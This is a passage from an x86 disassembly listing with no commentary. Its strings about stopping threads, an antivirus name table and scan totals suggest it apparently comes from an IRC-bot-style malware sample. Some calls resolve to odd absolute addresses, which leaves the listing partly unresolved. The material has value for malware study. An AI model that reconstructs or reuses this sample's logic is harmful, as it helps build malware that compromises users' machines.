cmp [edi], ebx jz short loc_40B269 push 1 pop ebp loc_40B269: ; CODE XREF: sub_40B231+33j mov [edi], ebx lea edi, dword_43DEB8[esi] mov dword_43DEB0[esi], ebx mov dword_43DEB4[esi], ebx mov eax, [edi] cmp eax, ebx jbe short loc_40B28A push eax call sub_4199C9 pop ecx loc_40B28A: ; CODE XREF: sub_40B231+50j mov [edi], ebx lea edi, dword_43DEBC[esi] mov byte ptr dword_43DCB0[esi], bl mov byte_43DEC8[esi], bl push dword ptr [edi] call dword_4CB00C lea esi, dword_43DEC0[esi] mov [edi], ebx push dword ptr [esi] call dword_4CB00C mov [esi], ebx pop edi loc_40B2B9: ; CODE XREF: sub_40B231+Dj ; sub_40B231+15j mov eax, ebp pop esi pop ebp pop ebx retn sub_40B231 endp ; =============== S U B R O U T I N E ======================================= sub_40B2BF proc near ; CODE XREF: sub_40111D+18p ; ___:loc_4017D9p ... push ebx push esi push edi xor ebx, ebx xor edi, edi mov esi, offset dword_43DCB0 loc_40B2CB: ; CODE XREF: sub_40B2BF+2Aj cmp byte ptr [esi], 0 jz short loc_40B2DC push edi call sub_40B231 test eax, eax pop ecx jz short loc_40B2DC inc ebx loc_40B2DC: ; CODE XREF: sub_40B2BF+Fj ; sub_40B2BF+1Aj add esi, 234h inc edi cmp esi, offset dword_4CACB0 jl short loc_40B2CB pop edi mov eax, ebx pop esi pop ebx retn sub_40B2BF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B2F1 proc near ; CODE XREF: sub_401ACD+418Ep ; sub_401ACD+42E0p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ebx push esi xor ebx, ebx push edi mov edi, [ebp+arg_4] mov [ebp+var_4], ebx mov esi, offset dword_43DEB4 loc_40B305: ; CODE XREF: sub_40B2F1+43j mov eax, [esi-4] cmp eax, [ebp+arg_0] jnz short loc_40B327 test edi, edi jle short loc_40B319 cmp [esi], edi jz short loc_40B319 cmp ebx, edi jnz short loc_40B327 loc_40B319: ; CODE XREF: sub_40B2F1+1Ej ; sub_40B2F1+22j push ebx call sub_40B231 test eax, eax pop ecx jz short loc_40B327 inc [ebp+var_4] loc_40B327: ; CODE XREF: sub_40B2F1+1Aj ; sub_40B2F1+26j ... add esi, 234h inc ebx cmp esi, offset dword_4CAEB4 jl short loc_40B305 mov eax, [ebp+var_4] pop edi pop esi pop ebx leave retn sub_40B2F1 endp ; =============== S U B R O U T I N E ======================================= sub_40B33E proc near ; CODE XREF: ___:00401630p ; sub_401ACD+97Ap ... arg_0 = dword ptr 4 xor eax, eax mov ecx, offset dword_43DEB0 loc_40B345: ; CODE XREF: sub_40B33E+1Cj mov edx, [ecx] cmp edx, [esp+arg_0] jnz short loc_40B34E inc eax loc_40B34E: ; CODE XREF: sub_40B33E+Dj add ecx, 234h cmp ecx, offset dword_4CAEB0 jl short loc_40B345 retn sub_40B33E endp ; =============== S U B R O U T I N E ======================================= sub_40B35D proc near ; CODE XREF: sub_401ACD+2433p arg_0 = dword ptr 4 xor eax, eax push esi xor edx, edx mov ecx, offset dword_43DEB0 loc_40B367: ; CODE XREF: sub_40B35D+1Fj mov esi, [ecx] cmp esi, [esp+4+arg_0] jz short loc_40B380 add ecx, 234h inc edx cmp ecx, offset dword_4CAEB0 jl short loc_40B367 pop esi retn ; --------------------------------------------------------------------------- loc_40B380: ; CODE XREF: sub_40B35D+10j mov eax, edx pop esi retn sub_40B35D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B384 proc near ; CODE XREF: sub_401ACD+1066p ; sub_401ACD+126Cp ... var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp sub esp, 200h xor eax, eax cmp [ebp+arg_1C], eax jz short loc_40B39D push [ebp+arg_1C] call sub_41B779 pop ecx loc_40B39D: ; CODE XREF: sub_40B384+Ej push eax push [ebp+arg_18] call sub_40B2F1 pop ecx test eax, eax pop ecx jle short loc_40B3C9 push eax lea eax, [ebp+var_200] push [ebp+arg_14] push [ebp+arg_10] push offset aSSStopped_DThr ; "%s %s stopped. (%d thread(s) stopped.)" push eax call sub_41B886 add esp, 14h jmp short loc_40B3E3 ; --------------------------------------------------------------------------- loc_40B3C9: ; CODE XREF: sub_40B384+26j push [ebp+arg_14] lea eax, [ebp+var_200] push [ebp+arg_10] push offset aSNoSThreadFoun ; "%s No %s thread found." push eax call sub_41B886 add esp, 10h loc_40B3E3: ; CODE XREF: sub_40B384+43j cmp [ebp+arg_C], 0 jnz short loc_40B403 push 0 lea eax, [ebp+var_200] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 14h loc_40B403: ; CODE XREF: sub_40B384+63j lea eax, [ebp+var_200] push eax call sub_4151AC pop ecx leave retn sub_40B384 endp ; =============== S U B R O U T I N E ======================================= sub_40B412 proc near ; CODE XREF: sub_4017ED+159p ; ___:0040BA47p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] xor ecx, ecx imul eax, 234h mov dword_43DEC4[eax], ecx mov dword_43DEB0[eax], ecx mov dword_43DEB4[eax], ecx mov dword_43DEB8[eax], ecx mov dword_43DEBC[eax], ecx mov dword_43DEC0[eax], ecx mov byte ptr dword_43DCB0[eax], cl mov byte_43DEC8[eax], cl retn sub_40B412 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B44F proc near ; CODE XREF: sub_401ACD+7E3Bp ; sub_40B57D+6Bp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push esi mov esi, [ebp+arg_0] push 1 pop eax loc_40B459: ; CODE XREF: sub_40B44F+68j mov cl, [esi] test cl, cl jz short loc_40B4B9 cmp eax, 1 jnz short loc_40B4B9 mov edx, [ebp+arg_4] mov dl, [edx] test dl, dl jz short loc_40B4B9 cmp cl, 2Ah jz short loc_40B4A0 cmp cl, 3Fh jz short loc_40B483 cmp cl, 5Bh jz short loc_40B488 xor eax, eax cmp cl, dl setz al loc_40B483: ; CODE XREF: sub_40B44F+26j inc [ebp+arg_4] jmp short loc_40B4B3 ; --------------------------------------------------------------------------- loc_40B488: ; CODE XREF: sub_40B44F+2Bj lea eax, [ebp+arg_4] inc esi push eax lea eax, [ebp+arg_0] push eax mov [ebp+arg_0], esi call sub_40B4E5 mov esi, [ebp+arg_0] pop ecx pop ecx jmp short loc_40B4B3 ; --------------------------------------------------------------------------- loc_40B4A0: ; CODE XREF: sub_40B44F+21j lea eax, [ebp+arg_4] push eax lea eax, [ebp+arg_0] push eax call sub_40B57D mov esi, [ebp+arg_0] pop ecx pop ecx dec esi loc_40B4B3: ; CODE XREF: sub_40B44F+37j ; sub_40B44F+4Fj inc esi mov [ebp+arg_0], esi jmp short loc_40B459 ; --------------------------------------------------------------------------- loc_40B4B9: ; CODE XREF: sub_40B44F+Ej ; sub_40B44F+13j ... cmp byte ptr [esi], 2Ah jnz short loc_40B4C9 cmp eax, 1 jnz short loc_40B4E0 inc esi mov [ebp+arg_0], esi jmp short loc_40B4B9 ; --------------------------------------------------------------------------- loc_40B4C9: ; CODE XREF: sub_40B44F+6Dj cmp eax, 1 jnz short loc_40B4E0 mov eax, [ebp+arg_4] cmp byte ptr [eax], 0 jnz short loc_40B4E0 cmp byte ptr [esi], 0 jnz short loc_40B4E0 push 1 pop eax jmp short loc_40B4E2 ; --------------------------------------------------------------------------- loc_40B4E0: ; CODE XREF: sub_40B44F+72j ; sub_40B44F+7Dj ... xor eax, eax loc_40B4E2: ; CODE XREF: sub_40B44F+8Fj pop esi pop ebp retn sub_40B44F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B4E5 proc near ; CODE XREF: sub_40B44F+45p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx mov edx, [ebp+arg_0] push edi xor edi, edi push 1 mov ecx, [edx] and [ebp+var_8], edi pop eax cmp byte ptr [ecx], 21h mov [ebp+var_4], eax jnz short loc_40B506 inc ecx mov [ebp+var_8], eax mov [edx], ecx loc_40B506: ; CODE XREF: sub_40B4E5+19j push ebx push esi loc_40B508: ; CODE XREF: sub_40B4E5+7Bj mov ecx, [edx] mov bl, [ecx] cmp bl, 5Dh jnz short loc_40B516 cmp [ebp+var_4], eax jnz short loc_40B562 loc_40B516: ; CODE XREF: sub_40B4E5+2Aj test edi, edi jnz short loc_40B557 cmp bl, 2Dh jnz short loc_40B54B mov al, [ecx+1] lea esi, [ecx+1] mov cl, [ecx-1] cmp cl, al jge short loc_40B54B cmp al, 5Dh jz short loc_40B54B cmp [ebp+var_4], edi jnz short loc_40B54B mov ebx, [ebp+arg_4] mov ebx, [ebx] mov bl, [ebx] cmp bl, cl jl short loc_40B557 cmp bl, al jg short loc_40B557 push 1 mov [edx], esi pop edi jmp short loc_40B557 ; --------------------------------------------------------------------------- loc_40B54B: ; CODE XREF: sub_40B4E5+38j ; sub_40B4E5+45j ... mov eax, [ebp+arg_4] mov eax, [eax] cmp bl, [eax] jnz short loc_40B557 push 1 pop edi loc_40B557: ; CODE XREF: sub_40B4E5+33j ; sub_40B4E5+59j ... inc dword ptr [edx] and [ebp+var_4], 0 push 1 pop eax jmp short loc_40B508 ; --------------------------------------------------------------------------- loc_40B562: ; CODE XREF: sub_40B4E5+2Fj cmp [ebp+var_8], eax pop esi pop ebx jnz short loc_40B56F mov ecx, eax sub ecx, edi mov edi, ecx loc_40B56F: ; CODE XREF: sub_40B4E5+82j cmp edi, eax jnz short loc_40B578 mov eax, [ebp+arg_4] inc dword ptr [eax] loc_40B578: ; CODE XREF: sub_40B4E5+8Cj mov eax, edi pop edi leave retn sub_40B4E5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B57D proc near ; CODE XREF: sub_40B44F+59p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ebx push esi mov esi, [ebp+arg_0] push edi mov edi, [ebp+arg_4] mov [ebp+var_4], 1 inc dword ptr [esi] mov ecx, [esi] mov eax, [edi] xor ebx, ebx loc_40B599: ; CODE XREF: sub_40B57D+3Aj cmp [eax], bl jz short loc_40B5B9 mov cl, [ecx] cmp cl, 3Fh jz short loc_40B5AE cmp cl, 2Ah jnz short loc_40B5B9 cmp cl, 3Fh jnz short loc_40B5B1 loc_40B5AE: ; CODE XREF: sub_40B57D+25j inc eax mov [edi], eax loc_40B5B1: ; CODE XREF: sub_40B57D+2Fj inc dword ptr [esi] mov ecx, [esi] mov eax, [edi] jmp short loc_40B599 ; --------------------------------------------------------------------------- loc_40B5B9: ; CODE XREF: sub_40B57D+1Ej ; sub_40B57D+2Aj ... mov eax, [esi] cmp byte ptr [eax], 2Ah jnz short loc_40B5C4 inc dword ptr [esi] jmp short loc_40B5B9 ; --------------------------------------------------------------------------- loc_40B5C4: ; CODE XREF: sub_40B57D+41j mov eax, [edi] mov cl, [eax] cmp cl, bl jnz short loc_40B5E5 mov edx, [esi] cmp [edx], bl jz short loc_40B5D6 xor eax, eax jmp short loc_40B645 ; --------------------------------------------------------------------------- loc_40B5D6: ; CODE XREF: sub_40B57D+53j cmp cl, bl jnz short loc_40B5E5 mov ecx, [esi] cmp [ecx], bl jnz short loc_40B5E5 push 1 pop eax jmp short loc_40B645 ; --------------------------------------------------------------------------- loc_40B5E5: ; CODE XREF: sub_40B57D+4Dj ; sub_40B57D+5Bj ... push eax push dword ptr [esi] call sub_40B44F pop ecx test eax, eax pop ecx jnz short loc_40B62F loc_40B5F3: ; CODE XREF: sub_40B57D+B0j inc dword ptr [edi] mov eax, [edi] loc_40B5F7: ; CODE XREF: sub_40B57D+90j mov ecx, [esi] mov dl, [eax] mov cl, [ecx] cmp cl, dl jz short loc_40B60F cmp cl, 5Bh jz short loc_40B60F cmp dl, bl jz short loc_40B60F inc eax mov [edi], eax jmp short loc_40B5F7 ; --------------------------------------------------------------------------- loc_40B60F: ; CODE XREF: sub_40B57D+82j ; sub_40B57D+87j ... mov eax, [edi] cmp [eax], bl jz short loc_40B626 push eax push dword ptr [esi] call sub_40B44F neg eax pop ecx sbb eax, eax pop ecx inc eax jmp short loc_40B62B ; --------------------------------------------------------------------------- loc_40B626: ; CODE XREF: sub_40B57D+96j mov [ebp+var_4], ebx xor eax, eax loc_40B62B: ; CODE XREF: sub_40B57D+A7j cmp eax, ebx jnz short loc_40B5F3 loc_40B62F: ; CODE XREF: sub_40B57D+74j mov eax, [edi] cmp [eax], bl jnz short loc_40B642 mov eax, [esi] cmp [eax], bl jnz short loc_40B642 mov [ebp+var_4], 1 loc_40B642: ; CODE XREF: sub_40B57D+B6j ; sub_40B57D+BCj mov eax, [ebp+var_4] loc_40B645: ; CODE XREF: sub_40B57D+57j ; sub_40B57D+66j pop edi pop esi pop ebx leave retn sub_40B57D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B64A proc near ; CODE XREF: sub_401ACD+2AF5p var_400 = byte ptr -400h var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 400h push ebx push edi lea eax, [ebp+var_200] push offset unk_4317AC push eax xor ebx, ebx call sub_41B886 cmp dword_431410, ebx pop ecx pop ecx mov edi, 200h jz short loc_40B6BC push esi mov esi, offset dword_431418 loc_40B67D: ; CODE XREF: sub_40B64A+6Fj mov eax, [esi] test eax, eax jbe short loc_40B6B2 add ebx, eax push eax lea eax, [esi-26h] push eax lea eax, [ebp+var_400] push offset dword_4317A0 push eax call sub_41B886 lea eax, [ebp+var_400] push edi push eax lea eax, [ebp+var_200] push eax call sub_41C1E0 add esp, 1Ch loc_40B6B2: ; CODE XREF: sub_40B64A+37j add esi, 40h cmp dword ptr [esi-8], 0 jnz short loc_40B67D pop esi loc_40B6BC: ; CODE XREF: sub_40B64A+2Bj push dword_4CACB4 call sub_41A88B pop ecx push eax push ebx lea eax, [ebp+var_400] push offset aTotalDInS_ ; " Total: %d in %s." push eax call sub_41B886 lea eax, [ebp+var_400] push edi push eax lea eax, [ebp+var_200] push eax call sub_41C1E0 push 0 lea eax, [ebp+var_200] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 lea eax, [ebp+var_200] push eax call sub_4151AC add esp, 34h pop edi pop ebx leave retn sub_40B64A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B719 proc near ; CODE XREF: sub_401ACD+2ADFp var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 200h mov eax, dword_4CDA80 mov ecx, dword_4CDA7C push esi push dword_4CACB4 lea esi, [ecx+eax] call sub_41A88B pop ecx push eax push esi push dword_4CDA80 lea eax, [ebp+var_200] push dword_4CDA7C push offset unk_4317CC push eax call sub_41B886 push 0 lea eax, [ebp+var_200] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 lea eax, [ebp+var_200] push eax call sub_4151AC add esp, 30h pop esi leave retn sub_40B719 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B785 proc near ; CODE XREF: sub_401ACD+2AC9p var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 200h push dword_4CACB4 call sub_41A88B pop ecx push eax lea eax, [ebp+var_200] push dword_4CDCC4 push offset unk_431814 push eax call sub_41B886 push 0 lea eax, [ebp+var_200] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 lea eax, [ebp+var_200] push eax call sub_4151AC add esp, 28h leave retn sub_40B785 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B7DA proc near ; CODE XREF: sub_401ACD+2AB3p var_1000 = byte ptr -1000h var_800 = byte ptr -800h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov eax, 1000h call sub_41BB20 push edi lea eax, [ebp+var_800] push offset dword_431860 push eax call sub_41B886 cmp dword_431410, 0 pop ecx pop ecx mov edi, 800h jz short loc_40B846 push esi mov esi, offset aSymantec ; "Symantec" loc_40B80F: ; CODE XREF: sub_40B7DA+69j lea eax, [esi-0Ah] push eax push esi lea eax, [ebp+var_1000] push offset dword_431850 push eax call sub_41B886 lea eax, [ebp+var_1000] push edi push eax lea eax, [ebp+var_800] push eax call sub_41C1E0 add esi, 40h add esp, 1Ch cmp dword ptr [esi+1Eh], 0 jnz short loc_40B80F pop esi loc_40B846: ; CODE XREF: sub_40B7DA+2Dj push dword_4CACB4 call sub_41A88B pop ecx push eax lea eax, [ebp+var_1000] push offset aScanTimeS_ ; " Scan Time: %s." push eax call sub_41B886 lea eax, [ebp+var_1000] push edi push eax lea eax, [ebp+var_800] push eax call sub_41C1E0 push 0 lea eax, [ebp+var_800] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 lea eax, [ebp+var_800] push eax call sub_4151AC add esp, 30h pop edi leave retn sub_40B7DA endp ; --------------------------------------------------------------------------- byte_40B8A1 db 55h, 8Bh, 0ECh ; DATA XREF: sub_401ACD+30E0o ; --------------------------------------------------------------------------- sub esp, 3F0h mov eax, [ebp+8] push ebx push esi push edi push 4Bh mov esi, eax pop ecx lea edi, [ebp-134h] rep movsd mov dword ptr [eax+128h], 1 lea eax, [ebp-134h] push eax call dword_4CAFB4 xor edi, edi mov [ebp-8], eax cmp dword_431410, edi mov [ebp-4], edi mov [ebp+8], edi jz loc_40BA03 mov ebx, offset dword_431410 mov eax, ebx loc_40B8F2: ; CODE XREF: ___:0040B9FDj push dword ptr [ebp-1Ch] push dword ptr [eax] push dword ptr [ebp-8] call sub_40C087 add esp, 0Ch cmp eax, 1 jnz loc_40B9F3 push dword ptr [ebx] lea esi, [ebx-28h] lea eax, [ebp-134h] push eax lea eax, [esi+0Ah] push eax lea eax, [ebp-3F0h] push offset unk_4318B0 push eax call sub_41B886 push edi lea eax, [ebp-3F0h] push dword ptr [ebp-14h] push eax lea eax, [ebp-124h] push eax push dword ptr [ebp-24h] call sub_409A72 lea eax, [ebp-3F0h] push eax call sub_4151AC add esp, 2Ch lea eax, [ebp-134h] push eax lea eax, [ebp-1ECh] push eax call sub_41B886 pop ecx lea eax, [ebp-15Ch] pop ecx push esi push eax call sub_41B886 cmp byte ptr [ebp-0A4h], 0 pop ecx pop ecx lea eax, [ebp-0A4h] jnz short loc_40B98E lea eax, [ebp-124h] loc_40B98E: ; CODE XREF: ___:0040B986j push eax lea eax, [ebp-1DCh] push eax call sub_41B886 mov eax, [ebp-24h] pop ecx mov [ebp-1F0h], eax mov eax, [ebp-14h] mov [ebp-140h], eax mov eax, [ebp-10h] pop ecx mov [ebp-13Ch], eax mov eax, [ebx] sub esp, 0BCh mov [ebp-150h], eax mov eax, [ebp-18h] push 2Fh mov [ebp-14Ch], eax mov eax, [ebp+8] pop ecx lea esi, [ebp-1F0h] mov edi, esp mov [ebp-148h], eax rep movsd call dword ptr [ebx+4] add esp, 0BCh inc dword ptr [ebp-4] xor edi, edi loc_40B9F3: ; CODE XREF: ___:0040B905j inc dword ptr [ebp+8] add ebx, 40h mov eax, ebx cmp [ebx], edi jnz loc_40B8F2 loc_40BA03: ; CODE XREF: ___:0040B8E5j push dword ptr [ebp-4] lea eax, [ebp-134h] push eax lea eax, [ebp-3F0h] push offset unk_43187C push eax call sub_41B886 push edi lea eax, [ebp-3F0h] push dword ptr [ebp-14h] push eax lea eax, [ebp-124h] push eax push dword ptr [ebp-24h] call sub_409A72 lea eax, [ebp-3F0h] push eax call sub_4151AC push dword ptr [ebp-18h] call sub_40B412 add esp, 2Ch push edi nop ; --------------------------------------------------------------------------- db 0E8h, 0AAh, 45h db 2Dh, 2 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40BA56 proc near ; CODE XREF: sub_401ACD+244Ep var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 200h push 0Bh call sub_40B33E test eax, eax pop ecx jle short loc_40BA92 mov eax, [ebp+arg_C] push dword_4CB0C0[eax*8] call dword_4CB000 push eax lea eax, [ebp+var_200] push offset unk_431900 push eax call sub_41B886 add esp, 0Ch jmp short loc_40BAA5 ; --------------------------------------------------------------------------- loc_40BA92: ; CODE XREF: sub_40BA56+13j lea eax, [ebp+var_200] push offset unk_4318E0 push eax call sub_41B886 pop ecx pop ecx loc_40BAA5: ; CODE XREF: sub_40BA56+3Aj push 0 lea eax, [ebp+var_200] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 lea eax, [ebp+var_200] push eax call sub_4151AC add esp, 18h leave retn sub_40BA56 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40BACD proc near ; CODE XREF: sub_40C124+267p var_210 = dword ptr -210h var_204 = byte ptr -204h var_4 = byte ptr -4 arg_10 = byte ptr 18h arg_90 = byte ptr 98h arg_110 = dword ptr 118h arg_130 = dword ptr 138h arg_138 = dword ptr 140h arg_13C = dword ptr 144h push ebp mov ebp, esp sub esp, 204h mov eax, [ebp+arg_130] push ebx cmp eax, 0FFFFFFFFh push esi jz loc_40BF9F shl eax, 6 xor ebx, ebx cmp dword_43141C[eax], ebx jz loc_40BF9F push 5 call sub_40B33E test eax, eax pop ecx jnz loc_40BD54 mov eax, dword_429078 push edi mov esi, offset dword_4CD17C push 104h push esi push ebx mov dword_4CD38C, eax mov dword_4CD388, ebx nop call near ptr 2670000h mov edi, offset byte_429108 push 103h push edi push offset dword_4CD280 call sub_41B5F0 mov eax, [ebp+arg_110] add esp, 0Ch cmp [ebp+arg_90], bl mov dword_4CD178, eax mov eax, [ebp+arg_138] push 7Fh mov dword_4CD410, eax jnz short loc_40BB80 lea eax, [ebp+arg_10] push eax push offset dword_4CD390 call sub_41B5F0 add esp, 0Ch mov dword_4CD414, 1 jmp short loc_40BB9A ; --------------------------------------------------------------------------- loc_40BB80: ; CODE XREF: sub_40BACD+94j lea eax, [ebp+arg_90] push eax push offset dword_4CD390 call sub_41B5F0 add esp, 0Ch mov dword_4CD414, ebx loc_40BB9A: ; CODE XREF: sub_40BACD+B1j push esi lea eax, [ebp+var_204] push dword_4CD38C push offset unk_42BE60 push eax call sub_41B886 push ebx lea eax, [ebp+var_204] push 5 push eax call sub_40B0F6 add esp, 1Ch mov dword_4CD384, eax lea eax, [ebp+var_4] push eax push ebx push offset dword_4CD178 push offset word_411796 push ebx push ebx nop call near ptr 2680000h mov ecx, dword_4CD384 imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_40BC08 loc_40BBF6: ; CODE XREF: sub_40BACD+139j cmp dword_4CD418, ebx jnz short loc_40BC23 push 32h nop call near ptr 2670ECAh jmp short loc_40BBF6 ; --------------------------------------------------------------------------- loc_40BC08: ; CODE XREF: sub_40BACD+127j nop call near ptr 2680925h push eax lea eax, [ebp+var_204] push offset unk_431A20 push eax call sub_41B886 add esp, 0Ch loc_40BC23: ; CODE XREF: sub_40BACD+12Fj lea eax, [ebp+var_204] push eax call sub_4151AC mov eax, dword_4CACB0 mov esi, offset dword_4CD424 mov [esp+210h+var_210], 104h push esi push ebx mov dword_4CD634, eax mov dword_4CD630, ebx nop call near ptr 2670000h push 103h push edi push offset dword_4CD528 call sub_41B5F0 mov eax, [ebp+arg_110] add esp, 0Ch cmp [ebp+arg_90], bl mov dword_4CD420, eax mov eax, [ebp+arg_138] pop edi mov dword_4CD6B8, eax push 7Fh jnz short loc_40BCA4 lea eax, [ebp+arg_10] push eax push offset dword_4CD638 call sub_41B5F0 add esp, 0Ch mov dword_4CD6BC, 1 jmp short loc_40BCBE ; --------------------------------------------------------------------------- loc_40BCA4: ; CODE XREF: sub_40BACD+1B8j lea eax, [ebp+arg_90] push eax push offset dword_4CD638 call sub_41B5F0 add esp, 0Ch mov dword_4CD6BC, ebx loc_40BCBE: ; CODE XREF: sub_40BACD+1D5j push esi lea eax, [ebp+var_204] push dword_4CD634 push offset unk_4319EC push eax call sub_41B886 push ebx lea eax, [ebp+var_204] push 4 push eax call sub_40B0F6 add esp, 1Ch mov dword_4CD62C, eax lea eax, [ebp+var_4] push eax push ebx push offset dword_4CD420 push offset byte_40E991 push ebx push ebx nop call near ptr 2680000h mov ecx, dword_4CD62C imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_40BD2C loc_40BD1A: ; CODE XREF: sub_40BACD+25Dj cmp dword_4CD6C0, ebx jnz short loc_40BD47 push 32h nop call near ptr 2670ECAh jmp short loc_40BD1A ; --------------------------------------------------------------------------- loc_40BD2C: ; CODE XREF: sub_40BACD+24Bj call near ptr 2680925h nop push eax lea eax, [ebp+var_204] push offset unk_4319B8 push eax call sub_41B886 add esp, 0Ch loc_40BD47: ; CODE XREF: sub_40BACD+253j lea eax, [ebp+var_204] push eax call sub_4151AC pop ecx loc_40BD54: ; CODE XREF: sub_40BACD+35j mov eax, [ebp+arg_130] mov ecx, eax shl ecx, 6 cmp dword_431424[ecx], ebx jz loc_40BE7D push 7 call sub_40B33E test eax, eax pop ecx jnz loc_40BE77 mov eax, dword_4CDCBC cmp [ebp+arg_90], bl mov dword_4CD0E4, eax mov eax, [ebp+arg_110] mov dword_4CD0D8, eax mov eax, [ebp+arg_138] mov dword_4CD0E0, ebx mov dword_4CD168, eax push 7Fh jnz short loc_40BDC8 lea eax, [ebp+arg_10] push eax push offset dword_4CD0E8 call sub_41B5F0 add esp, 0Ch mov dword_4CD16C, 1 jmp short loc_40BDE2 ; --------------------------------------------------------------------------- loc_40BDC8: ; CODE XREF: sub_40BACD+2DCj lea eax, [ebp+arg_90] push eax push offset dword_4CD0E8 call sub_41B5F0 add esp, 0Ch mov dword_4CD16C, ebx loc_40BDE2: ; CODE XREF: sub_40BACD+2F9j push dword_4CD0E4 lea eax, [ebp+var_204] push offset unk_431988 push eax call sub_41B886 push ebx lea eax, [ebp+var_204] push 7 push eax call sub_40B0F6 add esp, 18h mov dword_4CD0DC, eax lea eax, [ebp+var_4] push eax push ebx push offset dword_4CD0D8 push offset byte_40E6EF push ebx push ebx nop call near ptr 2680000h mov ecx, dword_4CD0DC imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_40BE4F loc_40BE3D: ; CODE XREF: sub_40BACD+380j cmp dword_4CD170, ebx jnz short loc_40BE6A push 32h call near ptr 2670ECAh nop jmp short loc_40BE3D ; --------------------------------------------------------------------------- loc_40BE4F: ; CODE XREF: sub_40BACD+36Ej call near ptr 2680925h nop push eax lea eax, [ebp+var_204] push offset unk_431950 push eax call sub_41B886 add esp, 0Ch loc_40BE6A: ; CODE XREF: sub_40BACD+376j lea eax, [ebp+var_204] push eax call sub_4151AC pop ecx loc_40BE77: ; CODE XREF: sub_40BACD+2A8j mov eax, [ebp+arg_130] loc_40BE7D: ; CODE XREF: sub_40BACD+298j shl eax, 6 cmp dword_431420[eax], ebx jz loc_40BF9F push 3 call sub_40B33E test eax, eax pop ecx jnz loc_40BF9F mov esi, offset dword_4CD954 push 104h push esi push ebx nop call near ptr 2670000h push 5Ch push esi call sub_41BE40 pop ecx cmp eax, ebx pop ecx jz short loc_40BEBE mov [eax], bl loc_40BEBE: ; CODE XREF: sub_40BACD+3EDj mov eax, dword_42907C mov dword_4CDA6C, ebx mov dword_4CDA58, eax lea eax, [ebp+arg_10] push eax push offset dword_4CD6CC call sub_41B886 mov eax, [ebp+arg_110] pop ecx pop ecx mov dword_4CD6C8, eax mov ecx, [ebp+arg_138] push esi push dword_4CDA58 mov dword_4CDA64, ecx mov ecx, [ebp+arg_13C] push eax mov dword_4CDA68, ecx call sub_40AC0F pop ecx push eax lea eax, [ebp+var_204] push offset unk_42BDE8 push eax call sub_41B886 push ebx lea eax, [ebp+var_204] push 3 push eax call sub_40B0F6 add esp, 20h mov dword_4CDA60, eax lea eax, [ebp+var_4] push eax push ebx push offset dword_4CD6C8 push offset sub_40F0D5 push ebx push ebx nop call near ptr 2680000h mov ecx, dword_4CDA60 imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_40BF77 loc_40BF65: ; CODE XREF: sub_40BACD+4A8j cmp dword_4CDA74, ebx jnz short loc_40BF92 push 32h nop call near ptr 2670ECAh jmp short loc_40BF65 ; --------------------------------------------------------------------------- loc_40BF77: ; CODE XREF: sub_40BACD+496j nop call near ptr 2680925h push eax lea eax, [ebp+var_204] push offset unk_43191C push eax call sub_41B886 add esp, 0Ch loc_40BF92: ; CODE XREF: sub_40BACD+49Ej lea eax, [ebp+var_204] push eax call sub_4151AC pop ecx loc_40BF9F: ; CODE XREF: sub_40BACD+14j ; sub_40BACD+25j ... pop esi pop ebx leave retn sub_40BACD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40BFA3 proc near ; CODE XREF: sub_40C124:loc_40C195p arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, [ebp+arg_0] push esi push 4 lea esi, ds:4CB0C0h[eax*8] lea eax, [ebp+arg_0] push esi push eax call sub_41C310 add esp, 0Ch push 